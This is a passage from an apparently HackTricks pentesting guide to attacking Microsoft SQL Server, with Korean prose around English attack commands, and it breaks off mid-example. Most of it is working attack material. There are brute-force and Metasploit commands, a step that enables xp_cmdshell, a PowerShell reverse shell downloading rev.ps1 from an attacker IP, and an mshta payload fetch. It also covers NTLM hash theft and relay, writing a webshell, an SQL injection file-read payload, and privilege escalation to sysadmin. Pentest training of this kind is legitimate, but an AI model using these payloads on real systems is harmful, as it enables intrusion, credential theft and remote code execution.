# 1433 - Pentesting MSSQL - Microsoft SQL Server
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** ๐ฌ [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** ๐ฆ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
## ๊ธฐ๋ณธ ์ ๋ณด
From [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
> **Microsoft SQL Server**๋ Microsoft์์ ๊ฐ๋ฐํ **๊ด๊ณํ ๋ฐ์ดํฐ๋ฒ ์ด์ค** ๊ด๋ฆฌ ์์คํ
์
๋๋ค. ๋ฐ์ดํฐ๋ฒ ์ด์ค ์๋ฒ๋ก์, ๋ค๋ฅธ ์ํํธ์จ์ด ์ ํ๋ฆฌ์ผ์ด์
์ด ์์ฒญํ ๋๋ก ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํ๊ณ ๊ฒ์ํ๋ ์ฃผ์ ๊ธฐ๋ฅ์ ๊ฐ์ง ์ํํธ์จ์ด ์ ํ์
๋๋ค. ์ด ์ ํ๋ฆฌ์ผ์ด์
์ ๋์ผํ ์ปดํจํฐ์์ ์คํ๋๊ฑฐ๋ ๋คํธ์ํฌ(์ธํฐ๋ท ํฌํจ)๋ฅผ ํตํด ๋ค๋ฅธ ์ปดํจํฐ์์ ์คํ๋ ์ ์์ต๋๋ค.\\
**๊ธฐ๋ณธ ํฌํธ:** 1433
```
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
```
### **๊ธฐ๋ณธ MS-SQL ์์คํ
ํ
์ด๋ธ**
* **master ๋ฐ์ดํฐ๋ฒ ์ด์ค**: ์ด ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ SQL Server ์ธ์คํด์ค์ ๋ชจ๋ ์์คํ
์์ค ์ธ๋ถ์ ๋ณด๋ฅผ ์บก์ฒํ๋ฏ๋ก ๋งค์ฐ ์ค์ํฉ๋๋ค.
* **msdb ๋ฐ์ดํฐ๋ฒ ์ด์ค**: SQL Server Agent๋ ์ด ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ์ฌ์ฉํ์ฌ ์๋ฆผ ๋ฐ ์์
์ ์ผ์ ์ ๊ด๋ฆฌํฉ๋๋ค.
* **model ๋ฐ์ดํฐ๋ฒ ์ด์ค**: SQL Server ์ธ์คํด์ค์ ๋ชจ๋ ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋ํ ์ฒญ์ฌ์ง ์ญํ ์ ํ๋ฉฐ, ํฌ๊ธฐ, ์ ๋ ฌ, ๋ณต๊ตฌ ๋ชจ๋ธ ๋ฑ๊ณผ ๊ฐ์ ๋ณ๊ฒฝ ์ฌํญ์ด ์๋ก ์์ฑ๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋ฐ์๋ฉ๋๋ค.
* **Resource ๋ฐ์ดํฐ๋ฒ ์ด์ค**: SQL Server์ ํจ๊ป ์ ๊ณต๋๋ ์์คํ
๊ฐ์ฒด๋ฅผ ํฌํจํ๋ ์ฝ๊ธฐ ์ ์ฉ ๋ฐ์ดํฐ๋ฒ ์ด์ค์
๋๋ค. ์ด๋ฌํ ๊ฐ์ฒด๋ Resource ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋ฌผ๋ฆฌ์ ์ผ๋ก ์ ์ฅ๋์ง๋ง, ๋ชจ๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ sys ์คํค๋ง์์ ๋
ผ๋ฆฌ์ ์ผ๋ก ํ์๋ฉ๋๋ค.
* **tempdb ๋ฐ์ดํฐ๋ฒ ์ด์ค**: ์ผ์์ ์ธ ๊ฐ์ฒด๋ ์ค๊ฐ ๊ฒฐ๊ณผ ์งํฉ์ ์ํ ์์ ์ ์ฅ ์์ญ์ผ๋ก ์ฌ์ฉ๋ฉ๋๋ค.
## ์ด๊ฑฐ
### ์๋ ์ด๊ฑฐ
์๋น์ค์ ๋ํด ์๋ฌด๊ฒ๋ ๋ชจ๋ฅด๋ ๊ฒฝ์ฐ:
```bash
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433
msf> use auxiliary/scanner/mssql/mssql_ping
```
{% hint style="info" %}
์๊ฒฉ ์ฆ๋ช
์ด **์๋ค๋ฉด** ์ถ์ธกํด ๋ณผ ์ ์์ต๋๋ค. nmap ๋๋ metasploit์ ์ฌ์ฉํ ์ ์์ต๋๋ค. ์กฐ์ฌํ์ธ์, ๊ธฐ์กด ์ฌ์ฉ์ ์ด๋ฆ์ ์ฌ์ฉํ์ฌ ์ฌ๋ฌ ๋ฒ ๋ก๊ทธ์ธ์ ์คํจํ๋ฉด **๊ณ์ ์ด ์ฐจ๋จ**๋ ์ ์์ต๋๋ค.
{% endhint %}
#### Metasploit (์๊ฒฉ ์ฆ๋ช
ํ์)
```bash
#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used
#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder
#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump
#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf
#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin
#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass
```
### [**๋ธ๋ฃจํธ ํฌ์ค**](../../generic-methodologies-and-resources/brute-force.md#sql-server)
### ์๋ ์ด๊ฑฐ
#### ๋ก๊ทธ์ธ
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
```shell
# Bruteforce using tickets, hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using hashes, and passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt -pl passwords.txt
# Bruteforce using tickets against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -tl tickets.txt -ul users.txt
# Bruteforce using passwords against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -pl passwords.txt
# Bruteforce using hashes against the hosts listed on the hosts.txt
mssqlpwner hosts.txt brute -ul users.txt -hl hashes.txt
```
```bash
# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] /:@
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth /:@
# Using sqsh
sqsh -S -U -P -D
## In case Windows Auth using "." as domain name for local user
sqsh -S -U .\\ -P -D
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go
```
#### ์ผ๋ฐ ์ด๊ฑฐ
```sql
# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master
#Get table names
SELECT * FROM .INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'
#Enumerate links
enum_links
#Use a link
use_link [NAME]
```
#### ์ฌ์ฉ์ ๊ฐ์ ธ์ค๊ธฐ
{% content-ref url="types-of-mssql-users.md" %}
[types-of-mssql-users.md](types-of-mssql-users.md)
{% endcontent-ref %}
```sql
# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;
## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers
```
#### ๊ถํ ๊ฐ์ ธ์ค๊ธฐ
1. **Securable:** SQL Server๊ฐ ์ ๊ทผ ์ ์ด๋ฅผ ์ํด ๊ด๋ฆฌํ๋ ๋ฆฌ์์ค๋ก ์ ์๋ฉ๋๋ค. ์ด๋ ๋ค์๊ณผ ๊ฐ์ด ๋ถ๋ฅ๋ฉ๋๋ค:
* **์๋ฒ** โ ๋ฐ์ดํฐ๋ฒ ์ด์ค, ๋ก๊ทธ์ธ, ์๋ํฌ์ธํธ, ๊ฐ์ฉ์ฑ ๊ทธ๋ฃน ๋ฐ ์๋ฒ ์ญํ ์ ์๊ฐ ํฌํจ๋ฉ๋๋ค.
* **๋ฐ์ดํฐ๋ฒ ์ด์ค** โ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ญํ , ์ ํ๋ฆฌ์ผ์ด์
์ญํ , ์คํค๋ง, ์ธ์ฆ์, ์ ์ฒด ํ
์คํธ ์นดํ๋ก๊ทธ ๋ฐ ์ฌ์ฉ์์ ๊ฐ์ ์๊ฐ ํฌํจ๋ฉ๋๋ค.
* **์คํค๋ง** โ ํ
์ด๋ธ, ๋ทฐ, ํ๋ก์์ , ํจ์, ๋์์ด ๋ฑ์ ํฌํจํฉ๋๋ค.
2. **Permission:** SQL Server securables์ ๊ด๋ จ๋ ๊ถํ์ผ๋ก, ALTER, CONTROL ๋ฐ CREATE์ ๊ฐ์ ๊ถํ์ด ์ฃผ์ฒด์๊ฒ ๋ถ์ฌ๋ ์ ์์ต๋๋ค. ๊ถํ ๊ด๋ฆฌ๋ ๋ ๊ฐ์ง ์์ค์์ ์ด๋ฃจ์ด์ง๋๋ค:
* **์๋ฒ ์์ค** โ ๋ก๊ทธ์ธ์ ์ฌ์ฉํ์ฌ
* **๋ฐ์ดํฐ๋ฒ ์ด์ค ์์ค** โ ์ฌ์ฉ์๋ฅผ ์ฌ์ฉํ์ฌ
3. **Principal:** ์ด ์ฉ์ด๋ securable์ ๋ํ ๊ถํ์ด ๋ถ์ฌ๋ ์ํฐํฐ๋ฅผ ๋ํ๋
๋๋ค. ์ฃผ์ฒด๋ ์ฃผ๋ก ๋ก๊ทธ์ธ๊ณผ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์ฌ์ฉ์๋ก ๊ตฌ์ฑ๋ฉ๋๋ค. Securables์ ๋ํ ์ ๊ทผ ์ ์ด๋ ๊ถํ์ ๋ถ์ฌํ๊ฑฐ๋ ๊ฑฐ๋ถํ๊ฑฐ๋ ์ ๊ทผ ๊ถํ์ด ์๋ ์ญํ ์ ๋ก๊ทธ์ธ ๋ฐ ์ฌ์ฉ์๋ฅผ ํฌํจ์ํด์ผ๋ก์จ ํ์ฌ๋ฉ๋๋ค.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'
```
## Tricks
### OS ๋ช
๋ น ์คํ
{% hint style="danger" %}
๋ช
๋ น์ ์คํํ ์ ์์ผ๋ ค๋ฉด **`xp_cmdshell`** **ํ์ฑํ**๋ฟ๋ง ์๋๋ผ **`xp_cmdshell` ์ ์ฅ ํ๋ก์์ ์ ๋ํ EXECUTE ๊ถํ**๋ ํ์ํฉ๋๋ค. **`xp_cmdshell`**์ ์ฌ์ฉํ ์ ์๋ ์ฌ๋(์์คํ
๊ด๋ฆฌ์ ์ ์ธ)์ ํ์ธํ๋ ค๋ฉด:
```sql
Use master
EXEC sp_helprotect 'xp_cmdshell'
```
{% endhint %}
```bash
# Username + Password + CMD command
crackmapexec mssql -d -u -p -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d -u -H -X '$PSVersionTable'
# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';
# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE
#One liner
EXEC sp_configure 'Show Advanced Options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'
# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net' โ
```
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
```shell
# Executing custom assembly on the current server with windows authentication and executing hostname command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth custom-asm hostname
# Executing custom assembly on the current server with windows authentication and executing hostname command on the SRV01 linked server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 custom-asm hostname
# Executing the hostname command using stored procedures on the linked SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec hostname
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
```
### NetNTLM ํด์ ํ์น๊ธฐ / ๋ฆด๋ ์ด ๊ณต๊ฒฉ
์ธ์ฆ์ ์ฌ์ฉ๋๋ ํด์๋ฅผ ์บก์ฒํ๊ธฐ ์ํด **SMB ์๋ฒ**๋ฅผ ์์ํด์ผ ํฉ๋๋ค (`impacket-smbserver` ๋๋ `responder` ์์).
```bash
xp_dirtree '\\\any\thing'
exec master.dbo.xp_dirtree '\\\any\thing'
EXEC master..xp_subdirs '\\\anything\'
EXEC master..xp_fileexist '\\\anything\'
# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer
```
[MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner)
```shell
# Issuing NTLM relay attack on the SRV01 server
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on chain ID 2e9a3696-d8c2-4edd-9bcc-2908414eeb25
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2-4edd-9bcc-2908414eeb25 ntlm-relay 192.168.45.250
# Issuing NTLM relay attack on the local server with custom command
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250
```
{% hint style="warning" %}
๋๊ฐ (sysadmins ์ ์ธ) ์ด๋ฌํ MSSQL ํจ์๋ฅผ ์คํํ ๊ถํ์ด ์๋์ง ํ์ธํ๋ ค๋ฉด ๋ค์์ ์ฌ์ฉํ์ธ์:
```sql
Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';
```
{% endhint %}
**responder** ๋๋ **Inveigh**์ ๊ฐ์ ๋๊ตฌ๋ฅผ ์ฌ์ฉํ์ฌ **NetNTLM ํด์๋ฅผ ํ์น๋** ๊ฒ์ด ๊ฐ๋ฅํฉ๋๋ค.\
์ด ๋๊ตฌ๋ฅผ ์ฌ์ฉํ๋ ๋ฐฉ๋ฒ์ ๋ค์์์ ํ์ธํ ์ ์์ต๋๋ค:
{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %}
[spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md](../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
{% endcontent-ref %}
### MSSQL ์ ๋ขฐํ ์ ์๋ ๋งํฌ ์
์ฉ
[**์ด ๊ฒ์๋ฌผ์ ์ฝ์ด๋ณด์ธ์**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **์ด ๊ธฐ๋ฅ์ ์
์ฉํ๋ ๋ฐฉ๋ฒ์ ๋ํ ๋ ๋ง์ ์ ๋ณด๋ฅผ ์ฐพ์ผ์ธ์:**
{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %}
[abusing-ad-mssql.md](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md)
{% endcontent-ref %}
### **ํ์ผ ์ฐ๊ธฐ**
`MSSQL`์ ์ฌ์ฉํ์ฌ ํ์ผ์ ์ฐ๋ ค๋ฉด [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option)๋ฅผ **ํ์ฑํํด์ผ** ํ๋ฉฐ, ์ด๋ ๊ด๋ฆฌ์ ๊ถํ์ด ํ์ํ๊ณ , ๊ทธ๋ฐ ๋ค์ ํ์ผ์ ์์ฑํ๊ธฐ ์ํด ๋ช ๊ฐ์ง ์ ์ฅ ํ๋ก์์ ๋ฅผ ์คํํด์ผ ํฉ๋๋ค:
```bash
# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE
sp_configure 'Ole Automation Procedures', 1
RECONFIGURE
# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, ''
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE
```
### **OPENROWSET๋ก ํ์ผ ์ฝ๊ธฐ**
๊ธฐ๋ณธ์ ์ผ๋ก `MSSQL`์ **๊ณ์ ์ด ์ฝ๊ธฐ ์ ๊ทผ ๊ถํ์ด ์๋ ์ด์ ์ฒด์ ์ ๋ชจ๋ ํ์ผ์ ๋ํ ํ์ผ ์ฝ๊ธฐ๋ฅผ ํ์ฉํฉ๋๋ค**. ๋ค์ SQL ์ฟผ๋ฆฌ๋ฅผ ์ฌ์ฉํ ์ ์์ต๋๋ค:
```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
๊ทธ๋ฌ๋ **`BULK`** ์ต์
์ **`ADMINISTER BULK OPERATIONS`** ๋๋ **`ADMINISTER DATABASE BULK OPERATIONS`** ๊ถํ์ด ํ์ํฉ๋๋ค.
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
```
#### SQLi๋ฅผ ์ํ ์ค๋ฅ ๊ธฐ๋ฐ ๋ฒกํฐ:
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
### **RCE/ํ์ผ ์ฝ๊ธฐ ์คํฌ๋ฆฝํธ ์คํ (Python ๋ฐ R)**
MSSQL์ **Python ๋ฐ/๋๋ R**์์ **์คํฌ๋ฆฝํธ ์คํ**์ ํ์ฉํ ์ ์์ต๋๋ค. ์ด ์ฝ๋๋ **xp\_cmdshell**์ ์ฌ์ฉํ์ฌ ๋ช
๋ น์ ์คํํ๋ **๋ค๋ฅธ ์ฌ์ฉ์**์ ์ํด ์คํ๋ฉ๋๋ค.
Example trying to execute a **'R'** _"Hellow World!"_ **not working**:
![](<../../.gitbook/assets/image (393).png>)
Example using configured python to perform several actions:
```sql
# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO
```
### Read Registry
Microsoft SQL Server๋ **์ฌ๋ฌ ํ์ฅ ์ ์ฅ ํ๋ก์์ **๋ฅผ ์ ๊ณตํ์ฌ ๋คํธ์ํฌ๋ฟ๋ง ์๋๋ผ ํ์ผ ์์คํ
๋ฐ [**Windows ๋ ์ง์คํธ๋ฆฌ**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)์๋ ์ํธ์์ฉํ ์ ์์ต๋๋ค:**
| **์ ์** | **์ธ์คํด์ค ์ธ์** |
| ---------------------------- | -------------------------------------- |
| sys.xp\_regread | sys.xp\_instance\_regread |
| sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues |
| sys.xp\_regenumkeys | sys.xp\_instance\_regenumkeys |
| sys.xp\_regwrite | sys.xp\_instance\_regwrite |
| sys.xp\_regdeletevalue | sys.xp\_instance\_regdeletevalue |
| sys.xp\_regdeletekey | sys.xp\_instance\_regdeletekey |
| sys.xp\_regaddmultistring | sys.xp\_instance\_regaddmultistring |
| sys.xp\_regremovemultistring | sys.xp\_instance\_regremovemultistring |
```sql
# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';
```
For **more examples** check out the [**original source**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/).
### RCE with MSSQL User Defined Function - SQLHttp
MSSQL์์ **์ฌ์ฉ์ ์ ์ ํจ์๋ก .NET dll์ ๋ก๋ํ๋ ๊ฒ์ด ๊ฐ๋ฅํฉ๋๋ค**. ๊ทธ๋ฌ๋, ์ด๋ **`dbo` ์ ๊ทผ์ด ํ์**ํ๋ฏ๋ก **`sa` ๋๋ ๊ด๋ฆฌ์ ์ญํ **๋ก ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ์ฐ๊ฒฐํด์ผ ํฉ๋๋ค.
[**Following this link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) to see an example.
### Other ways for RCE
๋ช
๋ น ์คํ์ ์ป๊ธฐ ์ํ ๋ค๋ฅธ ๋ฐฉ๋ฒ์ผ๋ก๋ [ํ์ฅ ์ ์ฅ ํ๋ก์์ ์ถ๊ฐํ๊ธฐ](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR ์ด์
๋ธ๋ฆฌ](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server ์์ด์ ํธ ์์
](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), ๋ฐ [์ธ๋ถ ์คํฌ๋ฆฝํธ](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql) ์ถ๊ฐ๊ฐ ์์ต๋๋ค.
## MSSQL Privilege Escalation
### From db\_owner to sysadmin
**์ผ๋ฐ ์ฌ์ฉ์**๊ฐ **๊ด๋ฆฌ์** ์ฌ์ฉ์(์: **`sa`**)๊ฐ ์์ ํ **๋ฐ์ดํฐ๋ฒ ์ด์ค**์ ๋ํด **`db_owner`** ์ญํ ์ ๋ถ์ฌ๋ฐ๊ณ ํด๋น ๋ฐ์ดํฐ๋ฒ ์ด์ค๊ฐ **`trustworthy`**๋ก ์ค์ ๋ ๊ฒฝ์ฐ, ํด๋น ์ฌ์ฉ์๋ **์ ์ฅ ํ๋ก์์ **๊ฐ ์์ ์(**๊ด๋ฆฌ์**)๋ก ์คํ๋ ์ ์๊ธฐ ๋๋ฌธ์ ์ด๋ฌํ ๊ถํ์ ๋จ์ฉํ์ฌ **privesc**๋ฅผ ํ ์ ์์ต๋๋ค.
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;
# Get roles over the selected database (look for your username as db_owner)
USE
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'
--2. Execute stored procedure to get sysadmin role
USE
EXEC sp_elevate_me
--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')
```
๋น์ ์ **metasploit** ๋ชจ๋์ ์ฌ์ฉํ ์ ์์ต๋๋ค:
```bash
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
```
๋๋ **PS** ์คํฌ๋ฆฝํธ:
```powershell
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
```
### ๋ค๋ฅธ ์ฌ์ฉ์์ ๊ฐ์ฅ
SQL Server์๋ **`IMPERSONATE`**๋ผ๋ ํน๋ณํ ๊ถํ์ด ์์ผ๋ฉฐ, ์ด๋ **์คํ ์ค์ธ ์ฌ์ฉ์๊ฐ ๋ค๋ฅธ ์ฌ์ฉ์** ๋๋ ๋ก๊ทธ์ธ **์ ๊ถํ์ ์ทจํ ์ ์๋๋ก ํ์ฉํฉ๋๋ค**. ์ด ๊ถํ์ ์ปจํ
์คํธ๊ฐ ์ฌ์ค์ ๋๊ฑฐ๋ ์ธ์
์ด ์ข
๋ฃ๋ ๋๊น์ง ์ ํจํฉ๋๋ค.
```sql
# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned
# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
# If you can't find any users, make sure to check for links
enum_links
# If there is a link of interest, re-run the above steps on each link
use_link [NAME]
```
{% hint style="info" %}
์ฌ์ฉ์๋ฅผ ๊ฐ์ฅํ ์ ์๋ค๋ฉด, ๊ทธ๊ฐ sysadmin์ด ์๋๋๋ผ๋, **์ฌ์ฉ์๊ฐ ๋ค๋ฅธ ๋ฐ์ดํฐ๋ฒ ์ด์ค**๋ ์ฐ๊ฒฐ๋ ์๋ฒ์ **์ ๊ทผํ ์ ์๋์ง** ํ์ธํด์ผ ํฉ๋๋ค.
{% endhint %}
sysadmin์ด ๋๋ฉด ๋ค๋ฅธ ๋ชจ๋ ์ฌ์ฉ์๋ฅผ ๊ฐ์ฅํ ์ ์๋ค๋ ์ ์ ์ ์ํ์ธ์:
```sql
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
